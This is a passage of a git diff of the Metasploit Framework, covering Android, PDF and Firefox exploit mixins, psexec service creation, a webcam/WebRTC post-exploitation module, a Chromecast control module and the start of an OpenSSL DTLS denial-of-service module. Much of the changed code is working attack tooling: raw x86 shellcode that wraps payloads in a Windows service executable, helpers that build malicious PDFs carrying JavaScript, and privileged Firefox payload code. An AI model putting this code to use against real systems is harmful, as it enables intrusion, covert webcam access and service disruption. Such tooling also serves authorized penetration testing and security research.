runtime.exec(['rm', stagePath]).waitFor();
|
||||
runtime.exec(['rm', libraryPath]).waitFor();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
||||
|
|
||||
|
||||
# remove comments and empty lines
|
||||
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
|
||||
end
|
||||
|
||||
|
||||
# The NDK stager is used to launch a hidden APK
|
||||
def ndkstager(stagename, arch)
|
||||
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
|
||||
data = File.read(localfile, :mode => 'rb')
|
||||
data.gsub!('PLOAD', stagename)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -122,7 +122,7 @@ module Exploit::FileDropper
|
|||
end
|
||||
|
||||
@dropped_files.each do |f|
|
||||
print_warning("This exploit may require manual cleanup of: #{f}")
|
||||
print_warning("This exploit may require manual cleanup of '#{f}' on the target")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -92,7 +92,7 @@ require 'msf/core/exploit/java'
|
|||
# WBEM
|
||||
require 'msf/core/exploit/wbemexec'
|
||||
|
||||
#WinRM
|
||||
# WinRM
|
||||
require 'msf/core/exploit/winrm'
|
||||
|
||||
# WebApp
|
||||
|
@ -102,4 +102,8 @@ require 'msf/core/exploit/web'
|
|||
require 'msf/core/exploit/remote/firefox_privilege_escalation'
|
||||
require 'msf/core/exploit/remote/firefox_addon_generator'
|
||||
|
||||
# Android
|
||||
require 'msf/core/exploit/android'
|
||||
|
||||
# Browser Exploit Server
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
|
|
|
@ -22,7 +22,7 @@ module Exploit::PDF
|
|||
)
|
||||
|
||||
# We're assuming we'll only create one pdf at a time here.
|
||||
@xref = []
|
||||
@xref = {}
|
||||
@pdf = ''
|
||||
end
|
||||
|
||||
|
@ -148,23 +148,18 @@ module Exploit::PDF
|
|||
#PDF building block functions
|
||||
##
|
||||
def header(version = '1.5')
|
||||
hdr = "%PDF-1.5" << eol
|
||||
hdr = "%PDF-#{version}" << eol
|
||||
hdr << "%" << RandomNonASCIIString(4) << eol
|
||||
hdr
|
||||
end
|
||||
|
||||
def add_object(num, data)
|
||||
@xref << @pdf.length
|
||||
@xref[num] = @pdf.length
|
||||
@pdf << ioDef(num)
|
||||
@pdf << data
|
||||
@pdf << endobj
|
||||
end
|
||||
|
||||
def range_rand(min,max)
|
||||
until min < r=rand(max); end
|
||||
return r
|
||||
end
|
||||
|
||||
def finish_pdf
|
||||
@xref_offset = @pdf.length
|
||||
@pdf << xref_table
|
||||
|
@ -174,12 +169,19 @@ module Exploit::PDF
|
|||
end
|
||||
|
||||
def xref_table
|
||||
id = @xref.keys.max+1
|
||||
ret = "xref" << eol
|
||||
ret << "0 %d" % (@xref.length + 1) << eol
|
||||
ret << "0 %d" % id << eol
|
||||
ret << "0000000000 65535 f" << eol
|
||||
@xref.each do |index|
|
||||
ret << "%010d 00000 n" % index << eol
|
||||
end
|
||||
ret << (1..@xref.keys.max).map do |index|
|
||||
if @xref.has_key?(index)
|
||||
offset = @xref[index]
|
||||
"%010d 00000 n" % offset << eol
|
||||
else
|
||||
"0000000000 00000 f" << eol
|
||||
end
|
||||
end.join
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
|
@ -196,7 +198,11 @@ module Exploit::PDF
|
|||
end
|
||||
|
||||
def eol
|
||||
"\x0d\x0a"
|
||||
@eol || "\x0d\x0a"
|
||||
end
|
||||
|
||||
def eol=(new_eol)
|
||||
@eol = new_eol
|
||||
end
|
||||
|
||||
def endobj
|
||||
|
@ -267,7 +273,7 @@ module Exploit::PDF
|
|||
#Create PDF with Page implant
|
||||
##
|
||||
def pdf_with_page_exploit(js,strFilter)
|
||||
@xref = []
|
||||
@xref = {}
|
||||
@pdf = ''
|
||||
|
||||
@pdf << header
|
||||
|
@ -290,7 +296,7 @@ module Exploit::PDF
|
|||
# you try to merge the exploit PDF with an innocuous one
|
||||
##
|
||||
def pdf_with_openaction_js(js,strFilter)
|
||||
@xref = []
|
||||
@xref = {}
|
||||
@pdf = ''
|
||||
|
||||
@pdf << header
|
||||
|
@ -313,7 +319,7 @@ module Exploit::PDF
|
|||
#Create PDF with a malicious annotation
|
||||
##
|
||||
def pdf_with_annot_js(js,strFilter)
|
||||
@xref = []
|
||||
@xref = {}
|
||||
@pdf = ''
|
||||
|
||||
@pdf << header
|
||||
|
@ -332,5 +338,6 @@ module Exploit::PDF
|
|||
|
||||
finish_pdf
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,10 +14,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
# privileged javascript context
|
||||
# @return [String] the results that were sent back. This can be achieved through
|
||||
# calling the "send" function, or by just returning the value in +js+
|
||||
def js_exec(js)
|
||||
def js_exec(js, timeout=30)
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
|
||||
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
|
||||
end
|
||||
|
||||
# Puts the shellcode into memory, adds X flag, and calls it
|
||||
|
|
|
@ -51,8 +51,11 @@ module Exploit::Remote::SMB::Psexec
|
|||
# instead of all the ghetto "rescue ::Exception" madness
|
||||
# @param command [String] Should be a valid windows command
|
||||
# @param disconnect [Boolean] Disconnect afterwards
|
||||
# @param service_description [String] Service Description
|
||||
# @param service_name [String] Service Name
|
||||
# @param display_name [Strnig] Display Name
|
||||
# @return [Boolean] Whether everything went well
|
||||
def psexec(command, disconnect=true, service_description=nil)
|
||||
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||
|
@ -70,8 +73,8 @@ module Exploit::Remote::SMB::Psexec
|
|||
print_error("#{peer} - Error getting scm handle: #{e}")
|
||||
return false
|
||||
end
|
||||
servicename = Rex::Text.rand_text_alpha(11)
|
||||
displayname = Rex::Text.rand_text_alpha(16)
|
||||
servicename = service_name || Rex::Text.rand_text_alpha(11)
|
||||
displayname = display_name || Rex::Text.rand_text_alpha(16)
|
||||
|
||||
svc_handle = nil
|
||||
svc_status = nil
|
||||
|
|
|
@ -18,7 +18,7 @@ class Framework
|
|||
|
||||
Major = 4
|
||||
Minor = 9
|
||||
Point = 2
|
||||
Point = 3
|
||||
Release = "-dev"
|
||||
|
||||
if(Point)
|
||||
|
|
|
@ -70,13 +70,19 @@ module Msf::Module::Deprecated
|
|||
print_warning("*"*72)
|
||||
end
|
||||
|
||||
def init_ui(input = nil, output = nil)
|
||||
super(input, output)
|
||||
print_deprecation_warning
|
||||
@you_have_been_warned = true
|
||||
end
|
||||
|
||||
def generate
|
||||
print_deprecation_warning
|
||||
super
|
||||
end
|
||||
|
||||
def setup
|
||||
print_deprecation_warning
|
||||
print_deprecation_warning unless @you_have_been_warned
|
||||
super
|
||||
end
|
||||
|
||||
|
|
|
@ -31,5 +31,36 @@ module Msf::Payload::Dalvik
|
|||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
end
|
||||
|
||||
def generate_cert
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(1024)
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
cert.subject = x509_name
|
||||
cert.issuer = x509_name
|
||||
cert.public_key = key.public_key
|
||||
|
||||
# Some time within the last 3 years
|
||||
cert.not_before = Time.now - rand(3600*24*365*3)
|
||||
|
||||
# From http://developer.android.com/tools/publishing/app-signing.html
|
||||
# """
|
||||
# A validity period of more than 25 years is recommended.
|
||||
#
|
||||
# If you plan to publish your application(s) on Google Play, note
|
||||
# that a validity period ending after 22 October 2033 is a
|
||||
# requirement. You can not upload an application if it is signed
|
||||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||
return cert, key
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -16,6 +16,37 @@ module Msf::Payload::Firefox
|
|||
|
|
||||
end
|
||||
|
||||
# Javascript source of readUntilToken(s)
|
||||
# Continues reading the stream as data is available, until a pair of
|
||||
# command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
|
||||
#
|
||||
# Returns a function that can be passed to the #onDataAvailable callback of
|
||||
# nsIInputStreamPump that will buffer until a second token is read, or, in
|
||||
# the absence of any tokens, a newline character is read.
|
||||
#
|
||||
# @return [String] javascript source code that exposes the readUntilToken(cb) function
|
||||
def read_until_token_source
|
||||
%Q|
|
||||
var readUntilToken = function(cb) {
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
|
||||
var buffer = '', m = null;
|
||||
return function(request, context, stream, offset, count) {
|
||||
buffer += NetUtil.readInputStreamToString(stream, count);
|
||||
if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
|
||||
if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
|
||||
cb(m[2]);
|
||||
buffer = '';
|
||||
}
|
||||
} else if (buffer.indexOf("\\n") > -1) {
|
||||
cb(buffer);
|
||||
buffer = '';
|
||||
}
|
||||
};
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
# Javascript source code of readFile(path) - synchronously reads a file and returns
|
||||
# its contents. The file is deleted immediately afterwards.
|
||||
#
|
||||
|
@ -189,4 +220,5 @@ module Msf::Payload::Firefox
|
|||
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
||||
|
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,6 +9,7 @@ class Msf::Post < Msf::Module
|
|||
require 'msf/core/post_mixin'
|
||||
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/webrtc'
|
||||
|
||||
require 'msf/core/post/linux'
|
||||
require 'msf/core/post/osx'
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::WebRTC
|
||||
|
||||
#
|
||||
# Connects to a video chat session as an answerer
|
||||
#
|
||||
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||
# @return void
|
||||
#
|
||||
def connect_video_chat(server, channel, offerer_id)
|
||||
interface = load_interface('answerer.html')
|
||||
interface.gsub!(/\=SERVER\=/, server)
|
||||
interface.gsub!(/\=RHOST\=/, rhost)
|
||||
interface.gsub!(/\=CHANNEL\=/, channel)
|
||||
interface.gsub!(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
tmp_interface = Tempfile.new(['answerer', '.html'])
|
||||
tmp_interface.binmode
|
||||
tmp_interface.write(interface)
|
||||
tmp_interface.close
|
||||
|
||||
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
||||
unless found_local_browser
|
||||
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam interface
|
||||
#
|
||||
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
|
||||
# @return [String] The HTML interface code
|
||||
#
|
||||
def load_interface(html_name)
|
||||
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
||||
interface_code = ''
|
||||
::File.open(interface_path) { |f| interface_code = f.read }
|
||||
interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code)
|
||||
interface_code
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam API
|
||||
#
|
||||
# @return [String] The WebRTC lib code
|
||||
#
|
||||
def load_api_code
|
||||
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
||||
api = ''
|
||||
::File.open(js_api_path) { |f| api = f.read }
|
||||
api
|
||||
end
|
||||
|
||||
end
|
|
@ -299,7 +299,6 @@ require 'msf/core/exe/segment_injector'
|
|||
end
|
||||
|
||||
def self.to_winpe_only(framework, code, opts={}, arch="x86")
|
||||
|
||||
if arch == ARCH_X86_64
|
||||
arch = ARCH_X64
|
||||
end
|
||||
|
@ -310,30 +309,60 @@ require 'msf/core/exe/segment_injector'
|
|||
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
||||
|
||||
exe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
exe = fd.read(fd.stat.size)
|
||||
}
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
exe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
pe_header_size = 0x18
|
||||
entryPoint_offset = 0x28
|
||||
section_size = 0x28
|
||||
characteristics_offset = 0x24
|
||||
virtualAddress_offset = 0x0c
|
||||
sizeOfRawData_offset = 0x10
|
||||
|
||||
sections_table_offset =
|
||||
pe._dos_header.v['e_lfanew'] +
|
||||
pe._file_header.v['SizeOfOptionalHeader'] +
|
||||
pe_header_size
|
||||
|
||||
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
|
||||
|
||||
sections_header = []
|
||||
pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
|
||||
pe._file_header.v['NumberOfSections'].times { |i|
|
||||
section_offset = sections_table_offset + (i * section_size)
|
||||
sections_header << [
|
||||
sections_table_characteristics_offset + (i * section_size),
|
||||
exe[section_offset,section_size]
|
||||
]
|
||||
}
|
||||
|
||||
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
|
||||
|
||||
#look for section with entry point
|
||||
# look for section with entry point
|
||||
sections_header.each do |sec|
|
||||
virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
|
||||
sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
|
||||
characteristics = sec[1][0x24,0x4].unpack('L')[0]
|
||||
if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
|
||||
#put this section writable
|
||||
characteristics|=0x80000000
|
||||
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
|
||||
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
|
||||
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
|
||||
|
||||
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
|
||||
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
|
||||
if (importsTable - addressOfEntryPoint) < code.length
|
||||
#shift original entry point to prevent tables overwritting
|
||||
addressOfEntryPoint = importsTable - (code.length + 4)
|
||||
|
||||
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
|
||||
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
|
||||
end
|
||||
# put this section writable
|
||||
characteristics |= 0x8000_0000
|
||||
newcharacteristics = [characteristics].pack('L')
|
||||
exe[sec[0],newcharacteristics.length]=newcharacteristics
|
||||
exe[sec[0],newcharacteristics.length] = newcharacteristics
|
||||
end
|
||||
end
|
||||
|
||||
#put the shellcode at the entry point, overwriting template
|
||||
exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
|
||||
|
||||
# put the shellcode at the entry point, overwriting template
|
||||
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
|
||||
exe[entryPoint_file_offset,code.length] = code
|
||||
return exe
|
||||
end
|
||||
|
||||
|
@ -383,6 +412,33 @@ require 'msf/core/exe/segment_injector'
|
|||
return pe
|
||||
end
|
||||
|
||||
|
||||
# Splits a string into a number of assembly push operations
|
||||
#
|
||||
# @param string [String] string to be used
|
||||
#
|
||||
# @return [String] null terminated string as assembly push ops
|
||||
def self.string_to_pushes(string)
|
||||
str = string.dup
|
||||
# Align string to 4 bytes
|
||||
rem = (str.length) % 4
|
||||
if (rem > 0)
|
||||
str << "\x00" * (4 - rem)
|
||||
pushes = ''
|
||||
else
|
||||
pushes = "h\x00\x00\x00\x00"
|
||||
end
|
||||
# string is now 4 bytes aligned with null byte
|
||||
|
||||
# push string to stack, starting at the back
|
||||
while (str.length > 0)
|
||||
four = 'h'+str.slice!(-4,4)
|
||||
pushes << four
|
||||
end
|
||||
|
||||
pushes
|
||||
end
|
||||
|
||||
def self.exe_sub_method(code,opts ={})
|
||||
|
||||
pe = ''
|
||||
|
@ -462,11 +518,82 @@ require 'msf/core/exe/segment_injector'
|
|||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
# Embeds shellcode within a Windows PE file implementing the Windows
|
||||
# service control methods.
|
||||
#
|
||||
# @param framework [Object]
|
||||
# @param code [String] shellcode to be embedded
|
||||
# @option opts [Boolean] :sub_method use substitution technique with a
|
||||
# service template PE
|
||||
# @option opts [String] :servicename name of the service, not used in
|
||||
# substituion technique
|
||||
#
|
||||
# @return [String] Windows Service PE file
|
||||
def self.to_win32pe_service(framework, code, opts={})
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
if opts[:sub_method]
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||
opts[:exe_type] = :service_exe
|
||||
return exe_sub_method(code,opts)
|
||||
else
|
||||
name = opts[:servicename]
|
||||
name ||= Rex::Text.rand_text_alpha(8)
|
||||
pushed_service_name = string_to_pushes(name)
|
||||
|
||||
precode_size = 0xc6
|
||||
svcmain_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xcc
|
||||
hash_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xbf
|
||||
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
code_service_stopped =
|
||||
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
|
||||
pushed_service_name+"\x89\xE1\x8D\x47\x03\x6A\x00" +
|
||||
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
|
||||
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
|
||||
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
|
||||
|
||||
precode_size = 0x42
|
||||
shellcode_code_offset = code_service_stopped.length + precode_size
|
||||
|
||||
# code_service could be encoded in the future
|
||||
code_service =
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
|
||||
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
|
||||
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
"\x51\x68\xC6\x96\x87\x52\xFF\xD5" +
|
||||
code_service_stopped
|
||||
|
||||
return to_winpe_only(framework, code_service + code, opts)
|
||||
end
|
||||
end
|
||||
|
||||
def self.to_win64pe_service(framework, code, opts={})
|
||||
|
|
|
@ -18,6 +18,7 @@ class Webcam
|
|||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::WebRTC
|
||||
|
||||
def initialize(client)
|
||||
@client = client
|
||||
|
@ -195,66 +196,6 @@ class Webcam
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Connects to a video chat session as an answerer
|
||||
#
|
||||
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||
# @return void
|
||||
#
|
||||
def connect_video_chat(server, channel, offerer_id)
|
||||
interface = load_interface('answerer.html')
|
||||
api = load_api_code
|
||||
|
||||
tmp_api = Tempfile.new('api.js')
|
||||
tmp_api.binmode
|
||||
tmp_api.write(api)
|
||||
tmp_api.close
|
||||
|
||||
interface = interface.gsub(/\=SERVER\=/, server)
|
||||
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
||||
interface = interface.gsub(/\=RHOST\=/, rhost)
|
||||
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
||||
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
tmp_interface = Tempfile.new('answerer.html')
|
||||
tmp_interface.binmode
|
||||
tmp_interface.write(interface)
|
||||
tmp_interface.close
|
||||
|
||||
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
||||
unless found_local_browser
|
||||
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam interface
|
||||
#
|
||||
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
|
||||
# @return [String] The HTML interface code
|
||||
#
|
||||
def load_interface(html_name)
|
||||
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
||||
interface_code = ''
|
||||
::File.open(interface_path) { |f| interface_code = f.read }
|
||||
interface_code
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam API
|
||||
#
|
||||
# @return [String] The WebRTC lib code
|
||||
#
|
||||
def load_api_code
|
||||
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
||||
api = ''
|
||||
::File.open(js_api_path) { |f| api = f.read }
|
||||
api
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Chromecast YouTube Remote Control',
|
||||
'Description' => %q{
|
||||
This module acts as a simple remote control for Chromecast YouTube.
|
||||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['Play', 'Description' => 'Play video'],
|
||||
['Stop', 'Description' => 'Stop video']
|
||||
],
|
||||
'DefaultAction' => 'Play'
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8008),
|
||||
OptString.new('VID', [true, 'Video ID', 'kxopViU98Xo'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
vid = datastore['VID']
|
||||
|
||||
case action.name
|
||||
when 'Play'
|
||||
res = play(vid)
|
||||
when 'Stop'
|
||||
res = stop
|
||||
end
|
||||
|
||||
return unless res
|
||||
|
||||
case res.code
|
||||
when 201
|
||||
print_good("Playing https://www.youtube.com/watch?v=#{vid}")
|
||||
when 200
|
||||
print_status("Stopping video")
|
||||
when 404
|
||||
print_error("Couldn't #{action.name.downcase} video")
|
||||
end
|
||||
end
|
||||
|
||||
def play(vid)
|
||||
begin
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/apps/YouTube',
|
||||
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
|
||||
'vars_post' => {
|
||||
'v' => vid
|
||||
}
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
||||
Rex::HostUnreachable => e
|
||||
fail_with(Failure::Unreachable, e)
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def stop
|
||||
begin
|
||||
send_request_raw(
|
||||
'method' => 'DELETE',
|
||||
'uri' => '/apps/YouTube',
|
||||
'agent' => Rex::Text.rand_text_english(rand(42) + 1)
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
||||
Rex::HostUnreachable => e
|
||||
fail_with(Failure::Unreachable, e)
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -358,7 +358,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#CREATE TABLE TO STORE SQL SERVER DATA LOOT
|
||||
sql_data_tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'SQL Server Data',
|
||||
'Ident' => 1,
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
|
||||
)
|
||||
|
||||
|
|
|
@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
users_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Advantech WebAccess Users',
|
||||
'Ident' => 1,
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin']
|
||||
)
|
||||
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Dos
|
||||
include Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
|
||||
'Description' => %q{
|
||||
This module performs a Denial of Service Attack against Datagram TLS in
|
||||
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
|
||||
This occurs when a DTLS ClientHello message has multiple fragments and the
|
||||
